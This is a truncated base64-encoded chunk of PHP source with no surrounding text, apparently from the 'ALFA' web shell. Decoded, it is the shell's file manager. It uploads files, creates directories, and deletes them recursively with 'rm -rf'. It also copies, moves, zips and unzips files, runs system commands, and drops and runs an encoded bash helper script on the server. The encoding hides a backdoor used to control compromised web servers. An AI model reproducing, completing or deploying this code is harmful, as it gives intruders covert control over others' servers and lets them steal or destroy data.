CQl9ZWxzZXsNCgkJCQlyZXR1cm4gZmFsc2U7DQoJCQl9DQoJCX0NCgl9DQoJcmV0dXJuICRjaGVjazsNCn0NCmZ1bmN0aW9uIGFsZmFGaWxlc01hbigpew0KYWxmYWhlYWQoKTsNCkFsZmFOdW0oOCw5LDEwLDcsNiw1LDQpOw0KZWNobyAnPGRpdiBjbGFzcz0iYWpheGFyZWEiPjxkaXYgY2xhc3M9ImhlYWRlciI+JzsNCmlmKCFlbXB0eSAoJF9DT09LSUVbJ2YnXSkpDQokX0NPT0tJRVsnZiddID0gQHVuc2VyaWFsaXplKCRfQ09PS0lFWydmJ10pOw0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpew0Kc3dpdGNoKCRfUE9TVFsnYWxmYTEnXSl7DQpjYXNlICd1cGxvYWRGaWxlJzoNCmlmKGlzc2V0KCRHTE9CQUxTWydnbG9iX2NoZGlyX2ZhbHNlJ10pKXsNCgkkYWxmYV9jYW5ydW5jbWQgPSBfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpOw0KCSRtb3ZlX2NtZF9maWxlID0gdHJ1ZTsNCn0NCiRmaWxlcyA9IHJlQXJyYXlGaWxlcygkX0ZJTEVTWydmJ10pOw0KZm9yZWFjaCgkZmlsZXMgYXMgJGZpbGUpew0KaWYoJG1vdmVfY21kX2ZpbGUpew0KCWFsZmFFeCgiY2F0ICciLmFkZHNsYXNoZXMoJGZpbGVbJ3RtcF9uYW1lJ10pLiInID4gJyIuYWRkc2xhc2hlcygkX1BPU1RbImMiXS4iLyIuJGZpbGVbJ25hbWUnXSkuIiciKTsNCn1lbHNlew0KCUBtb3ZlX3VwbG9hZGVkX2ZpbGUoJGZpbGVbJ3RtcF9uYW1lJ10sJGZpbGVbJ25hbWUnXSk7DQp9DQplY2hvICJ1cGVkLi4uITxCcj4iOw0KfQ0KYnJlYWs7DQpjYXNlICdta2Rpcic6DQokbmV3X2Rpcl9jbWQgPSBmYWxzZTsNCmlmKGlzc2V0KCRHTE9CQUxTWydnbG9iX2NoZGlyX2ZhbHNlJ10pKXsNCglpZihfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsNCgkJYWxmYUV4KCJjZCAnIi50cmltKGFkZHNsYXNoZXMoJF9QT1NUWydjJ10pKS4iJztta2RpciAnIi50cmltKGFkZHNsYXNoZXMoJF9QT1NUWydhbGZhMiddKSkuIiciKTsNCgl9DQp9ZWxzZXsNCmlmKCFAbWtkaXIodHJpbSgkX1BPU1RbJ2FsZmEyJ10pKSkNCmVjaG8gIjxiPjxmb250IGNvbG9yPSdyZWQnPkNhbid0IGNyZWF0ZSBuZXcgZGlyICE8L2I+PC9mb250PiI7DQp9DQpicmVhazsNCmNhc2UgJ2RlbGV0ZSc6DQpmdW5jdGlvbiBkZWxldGVEaXIoJHBhdGgpew0KJHBhdGggPSAoc3Vic3RyKCRwYXRoLC0xKT09Jy8nKSA/ICRwYXRoOiRwYXRoLicvJzsNCiRkaCA9IEBvcGVuZGlyKCRwYXRoKTsNCndoaWxlKCgkaXRlbSA9IEByZWFkZGlyKCRkaCkpICE9PSBmYWxzZSl7DQokaXRlbSA9ICRwYXRoLiRpdGVtOw0KaWYoKGJhc2VuYW1lKCRpdGVtKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuIikpDQpjb250aW51ZTsNCiR0eXBlID0gQGZpbGV0eXBlKCRpdGVtKTsNCmlmICgkdHlwZSA9PSAiZGlyIikNCmRlbGV0ZURpcigkaXRlbSk7DQplbHNlDQpAdW5saW5rKCRpdGVtKTsNCn0NCkBjbG9zZWRpcigkZGgpOw0KQHJtZGlyKCRwYXRoKTsNCn0NCmlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpDQpmb3JlYWNoKCRfUE9TVFsnZiddIGFzICRmKXsNCmlmKCRmID09ICcuLicpDQpjb250aW51ZTsNCiRmID0gcmF3dXJsZGVjb2RlKCRmKTsNCmlmKGlzc2V0KCRHTE9CQUxTWyJnbG9iX2NoZGlyX2ZhbHNlIl0pKXsNCglpZihfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsNCgkJYWxmYUV4KCJybSAtcmYgJyIuYWRkc2xhc2hlcygkX1BPU1RbJ2MnXS4nLycuJGYpLiInIik7DQoJfQ0KfWVsc2V7DQphbGZhRXgoInJtIC1yZiAnIi5hZGRzbGFzaGVzKCRmKS4iJyIsZmFsc2UsZmFsc2UpOw0KaWYoQGlzX2RpcigkZikpDQpkZWxldGVEaXIoJGYpOw0KZWxzZQ0KQHVubGluaygkZik7DQp9DQp9DQppZihAaXNfZGlyKHJhd3VybGRlY29kZShAJF9QT1NUWydhbGZhMiddKSkmJnJhd3VybGRlY29kZShAJF9QT1NUWydhbGZhMiddKSE9Jy4uJyl7DQpkZWxldGVEaXIocmF3dXJsZGVjb2RlKEAkX1BPU1RbJ2FsZmEyJ10pKTsNCmFsZmFFeCgicm0gLXJmICciLmFkZHNsYXNoZXMoJF9QT1NUWydhbGZhMiddKS4iJyIsZmFsc2UsZmFsc2UpOw0KfWVsc2V7DQpAdW5saW5rKHJhd3VybGRlY29kZShAJF9QT1NUWydhbGZhMiddKSk7DQp9DQppZihpc3NldCgkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWxzZSJdKSl7DQoJJHNvdXJjZSA9IHJhd3VybGRlY29kZShAJF9QT1NUWydhbGZhMiddKTsNCglpZigkc291cmNlIT0nLi4nJiYhZW1wdHkoJHNvdXJjZSkpew0KCQlpZihfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsNCgkJCWFsZmFFeCgiY2QgJyIudHJpbShhZGRzbGFzaGVzKCRfUE9TVFsnYyddKSkuIic7cm0gLXJmICciLmFkZHNsYXNoZXMoJHNvdXJjZSkuIiciKTsNCgkJfQ0KCX0NCn0NCmJyZWFrOw0KY2FzZSAncGFzdGUnOg0KaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnY29weScmJmlzc2V0KCRfU0VTU0lPTlsnZiddKSl7DQpmdW5jdGlvbiBjb3B5X3Bhc3RlKCRjLCRzLCRkKXsNCmlmKEBpc19kaXIoJGMuJHMpKXsNCkBta2RpcigkZC4kcyk7DQokaCA9IEBvcGVuZGlyKCRjLiRzKTsNCndoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkNCmlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKQ0KY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQp9IGVsc2VpZihpc19maWxlKCRjLiRzKSkNCkBjb3B5KCRjLiRzLCAkZC4kcyk7DQp9DQpmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKQ0KY29weV9wYXN0ZSgkX1NFU1NJT05bJ2MnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsNCn1lbHNlaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnbW92ZScmJmlzc2V0KCRfU0VTU0lPTlsnZiddKSl7DQpmdW5jdGlvbiBtb3ZlX3Bhc3RlKCRjLCRzLCRkKXsNCmlmKEBpc19kaXIoJGMuJHMpKXsNCkBta2RpcigkZC4kcyk7DQokaCA9IEBvcGVuZGlyKCRjLiRzKTsNCndoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkNCmlmKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpDQpjb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsNCn1lbHNlaWYoQGlzX2ZpbGUoJGMuJHMpKQ0KQGNvcHkoJGMuJHMsICRkLiRzKTsNCn0NCmZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpDQpAcmVuYW1lKCRfU0VTU0lPTlsnYyddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOw0KfWVsc2VpZigkX1NFU1NJT05bJ2FjdCddID09ICd6aXAnJiZpc3NldCgkX1NFU1NJT05bJ2YnXSkpew0KaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpew0KJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7DQokemlwWCA9ICJhbGZhXyIucmFuZCgxLDEwMDApLiIuemlwIjsNCmlmKCR6aXAtPm9wZW4oJHppcFgsIDEpKXsNCkBjaGRpcigkX1NFU1NJT05bJ2MnXSk7DQpmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKXsNCmlmKCRmID09ICcuLicpY29udGludWU7DQppZihAaXNfZmlsZSgkX1NFU1NJT05bJ2MnXS4kZikpDQokemlwLT5hZGRGaWxlKCRfU0VTU0lPTlsnYyddLiRmLCAkZik7DQplbHNlaWYoQGlzX2RpcigkX1NFU1NJT05bJ2MnXS4kZikpew0KJGl0ZXJhdG9yID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRmLicvJykpOw0KZm9yZWFjaCgkaXRlcmF0b3IgYXMgJGtleT0+JHZhbHVlKXsNCiRrZXkgPSBzdHJfcmVwbGFjZSgnXFwnLCcvJyxyZWFscGF0aCgka2V5KSk7DQppZihAaXNfZGlyKCRrZXkpKXsNCmlmKGluX2FycmF5KHN1YnN0cigka2V5LCBzdHJycG9zKCRrZXksJy8nKSsxKSxhcnJheSgnLicsICcuLicpKSljb250aW51ZTsNCn1lbHNleyR6aXAtPmFkZEZpbGUoJGtleSwka2V5KTt9fX19DQpAY2hkaXIoJEdMT0JBTFNbJ2N3ZCddKTsNCiR6aXAtPmNsb3NlKCk7DQpfX2FsZXJ0KCc+PiAnLiR6aXBYLicgPDwgaXMgY3JlYXRlZC4uLicpO319DQp9ZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ3VuemlwJyYmaXNzZXQoJF9TRVNTSU9OWydmJ10pKXsNCmlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKXsNCiR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOw0KZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikgew0KaWYoJHppcC0+b3BlbigkX1NFU1NJT05bJ2MnXS4kZikpew0KJHppcC0+ZXh0cmFjdFRvKCRHTE9CQUxTWydjd2QnXSk7DQokemlwLT5jbG9zZSgpO319fX0NCnVuc2V0KCRfU0VTU0lPTlsnZiddKTsNCmJyZWFrOw0KZGVmYXVsdDoNCmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pKXsNCiRfU0VTU0lPTlsnYWN0J10gPSBAJF9QT1NUWydhbGZhMSddOw0KJF9TRVNTSU9OWydmJ10gPSBAJF9QT1NUWydmJ107DQokX1NFU1NJT05bJ2MnXSA9IEAkX1BPU1RbJ2MnXTsNCn0NCmJyZWFrOw0KfQ0KfQ0KaWYoaXNzZXQoJF9TRVNTSU9OW19fTEFTVF9DV0RfX10pICYmICFpc3NldCgkX1BPU1RbJ2MnXSkgJiYgJF9TRVNTSU9OW19fTEFTVF9DV0RfX10gIT0gJycpew0KCSRkaXJDb250ZW50ID0gQHNjYW5kaXIoJF9TRVNTSU9OW19fTEFTVF9DV0RfX10pOw0KfWVsc2V7DQoJJGRpckNvbnRlbnQgPSBAc2NhbmRpcihpc3NldCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsNCglpZihwcmVnX21hdGNoKCIjKC4qKVwvXC5cLiMiLCAkX1BPU1RbJ2MnXSwgJHJlcykpew0KCQkkcGF0aCA9IGV4cGxvZGUoJy8nLCAkcmVzWzFdKTsNCgkJYXJyYXlfcG9wKCRwYXRoKTsNCgkJJF9QT1NUWydjJ10gPSBpbXBsb2RlKCcvJywgJHBhdGgpOw0KCX0NCgkkX1NFU1NJT05bX19MQVNUX0NXRF9fXSA9IHN0cl9yZXBsYWNlKGFycmF5KCIuLiIsIi8vIiksIGFycmF5KCIiLCIvIiksICRfUE9TVFsnYyddKTsNCn0NCiRjbWRfZGlyID0gZmFsc2U7DQppZigkZGlyQ29udGVudCA9PT0gZmFsc2Upew0KCWlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpew0KCQlAY2hkaXIoZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKTsNCgkJaWYoIWlzc2V0KCRfU0VTU0lPTlsiYWxmYWNoZGlyX2Jhc2giXSl8fEAhZmlsZV9leGlzdHMoImFsZmFjZ2lhcGkvZ2V0ZGlyLmFsZmEiKSl7DQoJCQkkYmFzaCA9ICJqWk52YjVzd0VNWmZ3NmU0ZWFacHBhSWszWjlJTkx5WU5IWHEyMDE3VVlXb2NzRUVhMkFqUTVTeE5OOTlQbU1JbFRKcEVWTE92K2Z1OFJrZjc5L045NDJldndnNWJ3ci82K1AzbUM3OXg0Y2ZNWjBsY3VienRGQkFOc1RQbFFZQlFnSzlMaHNJR1lUaFRxdDlIV1pDODdSVld2QW16SVZ1V3FERzVlWWVNdVdEK2RXc0xXS0NiRTRGOFQwaGN4WFQ2NlpsTFlRcGtPQWhDbjVHd2Jjb2FLTGdLVm9FTEFxK0VLQllkK043Mk1vc21vSG1MSU5RNDg1TWE5YkJlcjBHUXRITm1MWmR6V042dE1wbXNUM1puZFZCY2ozU3BhTzI2NUhlR2VvMTRzKzUrZ09TU21VaTcwYjIwZFhXWEZkeVg0MzgwNFFYKzRySlVmbU1MaUtIemNhY3BLK0NPQWF5V0s1V0t3TGI3VDIwQlplKzV3MmVaSUdLQTcwWnlmVGh0MzBNejhWZ0dCN013Zkgxb0E5Y1hWbW1KK3lOZDZwS3BXTlNNU0dmZDVweitZelVHUExTMmYxWDZhRVFMVCtYTnZ4Q2p1YlprSEh1bHVMZDJMTVBrOUs5MmNoZUhXcVRsczQxbXUvMkpkT1FpNUxiNDc2K1hrN2dWZDEyLzA1cnV1cEZsU0tGVXNoZkYvYTNoWDNiZHVTUENaR3M0Z21KSURGVGxwQmI4NCtwanZRaFFqdGxqcm9Zc1IwemgxMk1HRWZOMFQ1RTJFK2J3OE1DQlRjYlRobFhnMlNuWkNLNjlTRGJxNW5JYm4yNjlUTWx1ZnUwajZjdCtRcz0iOw0KCQkJYWxmYVdyaXRlVG9jZ2lhcGkoImdldGRpci5hbGZhIiwkYmFzaCk7DQoJCX0NCgkJaWYoZW1wdHkoJF9TRVNTSU9OW19fTEFTVF9DV0RfX10pKSRfU0VTU0lPTltfX0xBU1RfQ1dEX19dID0gIi8iOw0KCQkkZGlyQ29udGVudCA9IGFsZmFFeCgiY2QgYWxmYWNnaWFwaTtzaCBnZXRkaXIuYWxmYSAnIi5hZGRzbGFzaGVzKCRfU0VTU0lPTltfX0xBU1RfQ1dEX19dKS4iJyIpOw0KCQkkZGlyQ29udGVudCA9IGpzb25fZGVjb2RlKCRkaXJDb250ZW50LCB0cnVlKTsNCgkJaWYoaXNfYXJyYXkoJGRpckNvbnRlbnQpKXsNCgkJCWFycmF5X3BvcCgkZGlyQ29udGVudCk7DQoJCQkkY21kX2RpciA9IHRydWU7DQoJCX1lbHNlew0KCQkJJGRpckNvbnRlbnQgPSBmYWxzZTsNCgkJfQ0KCQkkX1NFU1NJT05bImFsZmFjaGRpcl9iYXNoIl0gPSB0cnVlOw0KCX0NCn0NCmlmKCRkaXJDb250ZW50ID09IGZhbHNlKXsNCmVjaG8gJzxjZW50ZXI+PGJyPjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTZweDsiPjxzcGFuIHN0eWxlPSJjb2xvcjogcmVkOyAtd2Via2l0LXRleHQtc2hhZG93OiAxcHggMXB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+ISEhIEFjY2VzcyBEZW5pZWQgISEhPC9iPjwvYmlnPjxicj48YnI+PC9zdHJvbmc+PC9kaXY+JzsNCmFsZmFGb290ZXIoKTsNCnJldHVybjsNCn0NCmdsb2JhbCAkc29ydDsNCiRzb3J0ID0gYXJyYXkoJ25hbWUnLCAxKTsNCmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pKSB7DQppZihwcmVnX21hdGNoKCchc18oW0Etel0rKV8oXGR7MX0pIScsICRfUE9TVFsnYWxmYTEnXSwgJG1hdGNoKSkNCiRzb3J0ID0gYXJyYXkoJG1hdGNoWzFdLCAoaW50KSRtYXRjaFsyXSk7DQp9DQplY2hvICI8Zm9ybSBvbnN1Ym1pdD0nZmModGhpcyk7cmV0dXJuIGZhbHNlOycgbmFtZT0nZmlsZXMnIG1ldGhvZD0ncG9zdCc+PHRhYmxlIHdpZHRoPScxMDAlJyBjbGFzcz0nbWFpbicgY2VsbHNwYWNpbmc9JzAnIGNlbGxwYWRkaW5nPScyJz48dHI+PHRoIHdpZHRoPScxM3B4Jz48ZGl2IGNsYXNzPSdteUNoZWNrYm94JyBzdHlsZT0ncGFkZGluZy1sZWZ0OjBweDsnPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgaWQ9J21jaGsnIG9uY2xpY2s9J2NoZWNrQm94KCk7JyBjbGFzcz0nY2hrYngnPjxsYWJlbCBmb3I9J21jaGsnPjwvbGFiZWw+PC9kaXY+PC90aD48dGg+TmFtZTwvdGg+PHRoPlNpemU8L3RoPjx0aD5Nb2RpZnk8L3RoPjx0aD5Pd25lci9Hcm91cDwvdGg+PHRoPlBlcm1pc3Npb25zPC90aD48dGg+QWN0aW9uczwvdGg+PC90cj4iOw0KJGRpcnMgPSAkZmlsZXMgPSBhcnJheSgpOw0KJG4gPSBjb3VudCgkZGlyQ29udGVudCk7DQpmb3IoJGk9MDskaTwkbjskaSsrKXsNCmlmKCRjbWRfZGlyKXsNCiRmaWxlbmFtZSA9ICRkaXJDb250ZW50WyRpXVsibmFtZSJdOw0KJGZpbGVfb3duZXIgPSAkZGlyQ29udGVudFskaV1bIm93bmVyIl07DQokZmlsZV9ncm91cCA9ICRkaXJDb250ZW50WyRpXVsiZ3JvdXAiXTsNCiRmaWxlX21vZGlmeSA9IEBkYXRlKCdZLW0tZCBIOmk6cycsICRkaXJDb250ZW50WyRpXVsibW9kaWZ5Il0pOw0KJGZpbGVfcGVybSA9IGFsZmFQZXJtc0NvbG9yKGFycmF5KCJjbGFzcyI9PiRkaXJDb250ZW50WyRpXVsicGVybWNvbG9yIl0sIm51bSI9PiRkaXJDb250ZW50WyRpXVsicGVybW51bSJdLCJodW1hbiI9PiRkaXJDb250ZW50WyRpXVsicGVybWh1bWFuIl0pLHRydWUpOw0KJGZpbGVfc2l6ZSA9ICRkaXJDb250ZW50WyRpXVsic2l6ZSJdOw0KJGZpbGVfcGF0aCA9ICRfU0VTU0lPTltfX0xBU1RfQ1dEX19dLiIvIi4kZGlyQ29udGVudFskaV1bIm5hbWUiXTsNCn1lbHNlew0KJGZpbGVuYW1lID0gJGRpckNvbnRlbnRbJGldOw0KJG93ID0gZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpJiZmdW5jdGlvbl9leGlzdHMoImZpbGVvd25lciIpP0Bwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRHTE9CQUxTWydjd2QnXS4kZmlsZW5hbWUpKTphcnJheSgibmFtZSIgPT4gIj8/Pz8iKTsNCiRnciA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJmaWxlZ3JvdXAiKT9AcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKSk6YXJyYXkoIm5hbWUiID0+ICI/Pz8/Iik7DQokZmlsZV9vd25lciA9ICRvd1snbmFtZSddPyRvd1snbmFtZSddOihmdW5jdGlvbl9leGlzdHMoImZpbGVvd25lciIpP0BmaWxlb3duZXIoJEdMT0JBTFNbJ2N3ZCddLiRmaWxlbmFtZSk6Ij8/Pz8iKTsNCiRmaWxlX2dyb3VwID0gJGdyWyduYW1lJ10/JGdyWyduYW1lJ106KGZ1bmN0aW9uX2V4aXN0cygiZmlsZWdyb3VwIik/QGZpbGVncm91cCgkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKToiPz8/PyIpOw0KJGZpbGVfbW9kaWZ5ID0gQGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkR0xPQkFMU1snY3dkJ10gLiAkZmlsZW5hbWUpKTsNCiRmaWxlX3Blcm0gPSBhbGZhUGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKTsNCiRmaWxlX3NpemUgPSBAZmlsZXNpemUoJEdMT0JBTFNbJ2N3ZCddLiRmaWxlbmFtZSk7DQokZmlsZV9wYXRoID0gJEdMT0JBTFNbJ2N3ZCddLiRmaWxlbmFtZTsNCn0NCiR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGZpbGVuYW1lLA0KJ3BhdGgnID0+ICRmaWxlX3BhdGgsDQonbW9kaWZ5JyA9PiAkZmlsZV9tb2RpZnksDQoncGVybXMnID0+ICRmaWxlX3Blcm0sDQonc2l6ZScgPT4gJGZpbGVfc2l6ZSwNCidvd25lcicgPT4gJGZpbGVfb3duZXIsDQonZ3JvdXAnID0+ICRmaWxlX2dyb3VwDQopOw0KaWYoISRjbWRfZGlyKXsNCmlmKEBpc19maWxlKCRmaWxlX3BhdGgpKQ0KJGZpbGVzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2ZpbGUnKSk7DQplbHNlaWYoQGlzX2xpbmsoJGZpbGVfcGF0aCkpDQokZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdsaW5rJywgJ2xpbmsnID0+IHJlYWRsaW5rKCR0bXBbJ3BhdGgnXSkpKTsNCmVsc2VpZihAaXNfZGlyKCRmaWxlX3BhdGgpJiYgKCRmaWxlbmFtZSAhPSAiLiIpKQ0KJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOw0KfWVsc2V7DQoJaWYoJGRpckNvbnRlbnRbJGldWyJ0eXBlIl09PSJmaWxlIil7DQoJCSRmaWxlc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdmaWxlJykpOw0KCX1lbHNlew0KCQlpZigkZGlyQ29udGVudFskaV1bIm5hbWUiXSAhPSAiLiIpew0KCQkJJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOw0KCQl9DQoJfQ0KfQ0KfQ0KJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0Ow0KZnVuY3Rpb24gYWxmYUNtcCgkYSwgJGIpIHsNCmlmKCRHTE9CQUxTWydzb3J0J11bMF0gIT0gJ3NpemUnKQ0KcmV0dXJuIHN0cmNtcChzdHJ0b2xvd2VyKCRhWyRHTE9CQUxTWydzb3J0J11bMF1dKSwgc3RydG9sb3dlcigkYlskR0xPQkFMU1snc29ydCddWzBdXSkpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOw0KZWxzZQ0KcmV0dXJuICgoJGFbJ3NpemUnXSA8ICRiWydzaXplJ10pID8gLTEgOiAxKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsNCn0NCnVzb3J0KCRmaWxlcywgImFsZmFDbXAiKTsNCnVzb3J0KCRkaXJzLCAiYWxmYUNtcCIpOw0KJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7DQokbD0wOw0KJGNjPTA7DQpmb3JlYWNoKCRmaWxlcyBhcyAkZil7DQokZlsnbmFtZSddID0gaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKTsNCiRuZXduYW1lID0gbWJfc3RybGVuKCRmWyduYW1lJ10sICdVVEYtOCcpPjYwP21iX3N1YnN0cigkZlsnbmFtZSddLCAwLCA2MCwgJ3V0Zi04JykuJy4uLic6JGZbJ25hbWUnXTsNCiRjaGVja2JveCA9ICdjaGVja2JveCcuJGNjOw0KJHJhd19uYW1lID0gcmF3dXJsZW5jb2RlKCRmWyduYW1lJ10pOw0KJGljb24gPSAkR0xPQkFMU1snREJfTkFNRSddWydzaG93X2ljb25zJ10/JzxpbWcgc3JjPSInLmZpbmRpY29uKCRmWyduYW1lJ10sJGZbJ3R5cGUnXSkuJyIgd2lkdGg9IjMwIiBoZWlnaHQ9IjMwIj4nOicnOw0KJHN0eWxlID0gJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddPydwb3NpdGlvbjpyZWxhdGl2ZTtkaXNwbGF5OmlubGluZS1ibG9jaztib3R0b206MTJweDsnOicnOw0KZWNobyAnPHRyJy4oJGw/JyBjbGFzcz1sMSc6JycpLic+PHRkPjxkaXYgY2xhc3M9Im15Q2hlY2tib3giPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZltdIiB2YWx1ZT0iJy4kcmF3X25hbWUuJyIgY2xhc3M9ImNoa2J4IiBpZD0iJy4kY2hlY2tib3ggLiciPjxsYWJlbCBmb3I9IicuJGNoZWNrYm94IC4nIj48L2xhYmVsPjwvZGl2PjwvdGQ+PHRkPicuJGljb24uJzxkaXYgc3R5bGU9IicuJHN0eWxlLiciPjxhIGNsYXNzPSJtYWluX25hbWUiIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9IicuKCgkZlsndHlwZSddPT0nZmlsZScpPydlZGl0b3IoXCcnLiRyYXdfbmFtZS4nXCcsXCdhdXRvXCcsXCdcJyxcJ1wnLFwnXCcsXCcnLiRmWyd0eXBlJ10uJ1wnKTsiPicuKCRHTE9CQUxTWydjd2QnXS4kZlsnbmFtZSddPT0kR0xPQkFMU1snX19maWxlX3BhdGgnXT8iPHNwYW4gY2xhc3M9J3NoZWxsX25hbWUnIHN0eWxlPSdmb250LXdlaWdodDp1bnNldDsnPiIuJGZbJ25hbWUnXS4iPC9zcGFuPiI6aHRtbHNwZWNpYWxjaGFycygkbmV3bmFtZSkpOidnKFwnRmlsZXNNYW5cJyxcJycuJGZbJ3BhdGgnXS4nXCcpOyIgdGl0bGU9JyAuICRmWydsaW5rJ10gLiAnPjxiPnwgJyAuIGh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSkgLiAnIHw8L2I+JykuJzwvYT48L3RkPjwvZGl2Pjx0ZD48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6dW5zZXQ7IiBjbGFzcz0ibWFpbl9zaXplIj4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT9hbGZhU2l6ZSgkZlsnc2l6ZSddKTokZlsndHlwZSddKS4nPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJtYWluX21vZGlmeSI+Jy4kZlsnbW9kaWZ5J10uJzwvc3Bhbj48L3RkPjx0ZD48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6dW5zZXQ7IiBjbGFzcz0ibWFpbl9vd25lcl9ncm91cCI+Jy4kZlsnb3duZXInXS4nLycuJGZbJ2dyb3VwJ10uJzwvc3Bhbj48L3RkPjx0ZD48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJlZGl0b3IoXCcnLiRyYXdfbmFtZS4nXCcsXCdjaG1vZFwnLFwnXCcsXCdcJyxcJ1wnLFwnJy4kZlsndHlwZSddLidcJykiPicuDQokZlsncGVybXMnXS4nPC90ZD48dGQ+PGEgY2xhc3M9ImFjdGlvbnMiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImVkaXRvcihcJycuJHJhd19uYW1lLidcJywgXCdyZW5hbWVcJyxcJ1wnLFwnXCcsXCdcJyxcJycuJGZbJ3R5cGUnXS4nXCcpIj5SPC9hPiA8YSBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLCBcJ3RvdWNoXCcsXCdcJyxcJ1wnLFwnXCcsXCcnLiRmWyd0eXBlJ10uJ1wnKSI+VDwvYT4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nIDxhIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJlZGl0b3IoXCcnLiRyYXdfbmFtZS4nXCcsIFwnZWRpdFwnLFwnXCcsXCdcJyxcJ1wnLFwnJy4kZlsndHlwZSddLidcJykiPkU8L2E+IDxhIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLiRyYXdfbmFtZS4nXCcsIFwnZG93bmxvYWRcJykiPkQ8L2E+JzonJykuJzxhIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJ2YXIgY2hrID0gY29uZmlybShcJ0FyZSBZb3UgU3VyZSBGb3IgRGVsZXRlICMgJy5hZGRzbGFzaGVzKHJhd3VybGRlY29kZSgkZlsnbmFtZSddKSkuJyAjID9cJyk7IGNoayA/IGcoXCdGa